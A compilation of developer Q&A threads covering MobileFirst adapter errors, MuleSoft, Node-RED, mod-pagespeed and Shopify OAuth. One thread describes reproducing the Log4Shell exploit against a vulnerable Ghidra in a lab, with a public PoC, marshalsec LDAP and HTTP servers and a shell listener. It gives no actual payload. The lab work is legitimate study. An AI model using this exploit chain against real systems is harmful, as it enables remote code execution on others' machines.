I am using MobileFirst CLI 7.1, Java 1.8.0_65 (on Mac OS X 10.9.5 if it matters). I have been working without issue in my current environment for about a month now but have suddenly hit an issue with all the adapters I developed, which have been working successfully up until this point.
The initial error surfaced when testing from a browser. I thought perhaps it was related to the way the WL JavaScript libraries authenticate with the adapters which run on the server (clearing the browser cache usually resolves this but not in this case).
[.../common/query] failure. state: 500, response: undefinedWL.Logger.__log # worklight.js:5377
worklight.js:5377 Client registration failed with error: {"responseHeaders":{"$WSEP":"","Date":"Tue, 08 Dec 2015 14:07:51 GMT","Connection":"Close","Content-Type":"text/html;charset=UTF-8","X-Powered-By":"Servlet/3.0","Transfer-Encoding":"chunked","Content-Language":"en-...
When this didn't work I tried testing the adapters from the CLI with a resulting error
undefined:1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.
^
SyntaxError: Unexpected token <
at Object.parse (native)
...
Not very helpful and no real info in the console log either (at least none which makes sense)
I was in the process of writing a Java adapter last week, so I thought I would try that to see if I get a different response (I have also tried creating a new project and empty adapter with the same results btw). Basically testing from the command line seemed to work (no response, but no error either). I didn't think it was working though (sceptical as I am), so I aimed to test the same adapter using a Chrome plugin (the Advanced REST Client plugin). I actually didn't get to the point of testing the adapter because the POST to get the auth token failed (you post the following url /authorization/v1/testtoken and should get the auth token back). What I actually received was a chunk of HTML.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
...
<div id="error"> Exception thrown by application class 'org.apache.wink.server.internal.RequestProcessor.logException:273'
</div>
<div id="code">
java.lang.NullPointerException: <br>
<div id="stack">at org.apache.wink.server.internal.RequestProcessor.logException(RequestProcessor.java:273)<br>at org.apache.wink.server.internal.RequestProcessor.handleRequestWithoutFaultBarrier(RequestProcessor.java:226)<br>at org.apache.wink.server.internal.RequestProcessor.handleRequest(RequestProcessor.java:154)<br>at org.apache.wink.server.internal.servlet.RestServlet.service(RestServlet.java:133)<br>at javax.servlet.http.HttpServlet.service(HttpServlet.java:668)<br>at com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1285)<br>at [internal classes]<br>at **com.worklight.authorization.server.AuthorizationServerFilter.doFilter**(AuthorizationServerFilter.java:88)<br>at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:206)<br>at [internal classes]<br>at com.worklight.analytics.AnalyticsFilter.doFilter(AnalyticsFilter.java:124)<br>at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:206)<br>at [internal classes]<br>
</div>
</div>
It looks to me like the authorisation filter is failing for some unknown reason.
I did try uninstalling and re-installing MF CLI yesterday but this error just re-surfaced. It is the only thing I can think to do again, but maybe I missed some local files which I need to delete manually after the uninstall is complete ...?
Last time I deleted everything under ~/.ibm pretty much
I just found this post in developerworks which mentions a similar issue to the one I am seeing.
https://www.ibm.com/developerworks/community/forums/html/topic?id=ae0a1814-7ce3-49f5-b582-c9ecf16fa51a
The reason this also rings true is that I was playing around with a JavaAdapter which I was planning on using to interface with a back-office RESTful service. I had problems and toyed with the idea of using Jersey at one point. I think I copied at least one Jersey jar file into the project's server/lib folder at one point and may have pushed this to the server. Having done this though I would have expected, having once again uninstalled, deleted everything under ~/.ibm and re-installed, that the jars would no longer be present. I still get the same issue.
Is it possible that uninstall does not delete the liberty profile or WAS configuration and that these jars somehow persist?
Turns out there is an issue with the current/latest release of MobileFirst CLI (20151130-1653). I backed up to a previous release (20150913-2352) and my adapters started working again - obviously I cleaned up servers and tmp files during the re-installation process.
I believe there have been quite a few people raising the same issue and it has been raised as a PMR internally within IBM.
Related
I am trying to understand/reproduce Log4shell vulnerability, using this poc and also information from Marshalsec.
To do that, I've downloaded Ghidra v10.0.4, which is said (on Ghidra download page) to be vulnerable to log4shell. Installed it on an ubuntu VM, along with java 1.8 (as stated in POC), and loaded the Poc + marshalsec snapshot.
Tried to start Ghidra, it said java 11 was needed, so although I've installed java 1.8 I still downloaded java 11 and, when you start ghidra, it says the installed version is not good enough and ask for the path to a java11 version; so I just gave him path to the jdk11 directory and it seems happy with it. Ghidra starts alright.
Then set up my listener and launched the poc, got the payload string to copy/paste in ghidra, and got a response in the ldap listener saying it'll send it to HTTP. But nothing more. The end.
Since the HTTP server is set up by the same POC, I thought maybe I just couldn't see the redirection, so I started the http server myself, started the ldap server myself with marshalsec, and retried (see pics below for exact commands/outputs).
Setting http server:
Set listener:
Setting LDAP server:
Send payload string in Ghidra (in the help/search part, as shown in kozmer POC); immediately got an answer:
I still receive a response on the LDAP listener (two, in fact, which seems weird), but nothing on the HTTP. The the Exploit class is never loaded in ghidra (it directly sends me a pop-up saying search not found, I think it is supposed to wait for the server answer to do that?), and I get nothing back in my listener.
Note that I don't really understand this Marshalsec/LDAP thing so I'm not sure what's happening here. If anyone have time to explain it will be nice. I've read lot of stuff about the vuln but it rarely goes deeply into details (most is like: the payload string send a request to LDAP server, which redirect to HTTP server, which will upload the Exploit class on the vulnerable app and gives you a shell).
Note: I've checked, the http server is up and accessible, the Exploit.class file is here and can be downloaded.
Solved it.
Turned out for log4shell to work you need a vulnerable app and a vulnerable version of Java; which I thought I had, but nope. I had Java 11.0.15, and needed Java 11 (Ghidra need Java 11 minimum, only vulnerable version of Java 11 is the first one).
Downloaded and installed Java 11, POC working perfectly.
I am facing a weird problem today, when running my MuleSoft application locally from my AnypointStudio and firing a request from postman, I am getting 403 error. When debugging I found out that the application is checking for flowVars._clientName, however it is missing. According to this documentation, actually yes flowVars._clientName is expected.
https://help.mulesoft.com/s/article/How-to-get-the-client-application-name-in-a-flow-based-on-the-client-id-and-client-secret.
So my application fails with 403 error. Seems that other environments are working perfectly fine.
And yes it is using Client Id enforcement.
Any clues?
Without more details it looks like the issue is inside the logic of your application. The KB article that you referenced is a how to in case you need to obtain the client name. It doesn't say that you have to use for authentication. You don't describe how the application does authentication/authorization. Is it in a flow? Or in a policy? If it is the standard Client ID enforcement policy, the expressions to evaluate client id and secret can be configured, but I don't think the default is not #[flowVars._clientName] nor #[flowVars._clientId].
Note that Exchange is basically a repository of APIs and other artifacts. It doesn't authenticate anything at execution time. Unless your application is trying to use it somehow, but I can't think of a reason for that.
The issue was resolved only by re-downloading Anypoint Studio and mule runtime. Very weird, it was happening only for one application, not for the others. Creating a new workspace did not help, deleting the application and re-cloning and installing did not help, even recloning in a new directory did not help. Only using a new Anypoint Studio and runtime installation resolved it (even with the old code base) ...
My Node Red application in IBM BlueMix is repeatedly crashing - once an hour - with no real error message other than "exited with status: 1."
How can I troubleshoot this issue?
Is there someone from IBM BlueMix support that monitors this that could take a look?
I looked at my logs and there's nothing in there that really says what's going on.
Edit per requests:
The regular log for "OUT/ERR" is scrolling so fast with HTTPD logs that I can't get it to copy/paste. Filtering to "ERR" Channel the only thing I see is below. I believe this is an error which occurs during deploy when the application restarts.
[App/0] ERR js-bson: Failed to load c++ bson extension, using pure JS version
My Node Red application is gathering data from Wink, LIFX, and other IoT services and compiles them together into a Freeboard dashboard.
Caught crash on screenshot here -- not enough cred to post images so it'll only post as a link
The zlib error was fixed in the 0.13.2 Node-RED release (that shipped 19/02/16).
If you re-stage your application is should pick up the new version of Node-RED
You can re-stage the application using the cf command line management application:
cf restage <app name>
After having finished and tested an Angular2 application on my local machine, I decided to move it to an AWS cloud server with Apache.
I cloned the sw from git but, as soon as I launched the app, I got an error on the browser console stating:
EXCEPTION: Template parse errors:
Only void and foreign elements can be self closed "head" ("[ERROR ->]<head/>
After some research I found that all of my external html templates are magically enriched with a starting <head/> tag which I do not see trace of in my code.
To fix this I had to turn off mod-pagespeed .Since I am not familiar with Apache configuration I do not know which side effects this may have and whether there is any better solution. Any help would be very much appreciated.
I believe mod-pagespeed has an option where it automatically adds a head tag to an html document if it cannot find it in the document (before the body). To turn off this feature add this to your pagespeed apache configuration (ie. in the .htaccess):
To prevent javascript alterations also forbid a couple more filters
ModPagespeedForbidFilters add_head,rewrite_javascript,rewrite_javascript_inline,combine_javascript,inline_javascript
This way you can still enjoy the rest of the mod-pagespeed features :)
I am using a java raw HTTP client to connect to Shopify API (specifically, using Play Framework with the non-defualt sync driver which is actually the JDK's default driver).
My application usually manages to connect successfully and convert the temporary access token into a permanent one by calling the /admin/oauth/access_token endpoint.
However, sometimes I get this error result from the API:
Generic Error(400)
{"error":"invalid_request"}
I haven't been able to reproduce the issue with my test stores - I've tried installing a fresh store, reinstalling existing stores after uninstalling, I'm not sure why this call sometimes fail and how to debug it. The API call still continues to succeed for some stores using our application.
Some things that I am doing:
Even if the URL of the store is on a custom domain, I'm always using the https://foo.myshopfiy.com/admin/oauth/access_token URL and not the URL of the custom domain, to prevent a redirect.
I am always using an https URL and never an http one, again to prevent a redirect (we noticed a few issues with redirect with the Java HTTP client, so we aim to have zero redirects)
A thread I found about this error suggest possible problems with our SSL certificates, however I don't think this is my problem because some requests work for us, and the result of running openssl on our machine does't show any issues.
How should I proceed? Open a support ticket with Shopify?
FYI, I see that this specific problem only started yesterday on Feb 19 2013, so it might be a temporary issue.
FYI, the problem was caused by reusing a temporary access code.
Our fault - Shopify could have been more clear in their error message though.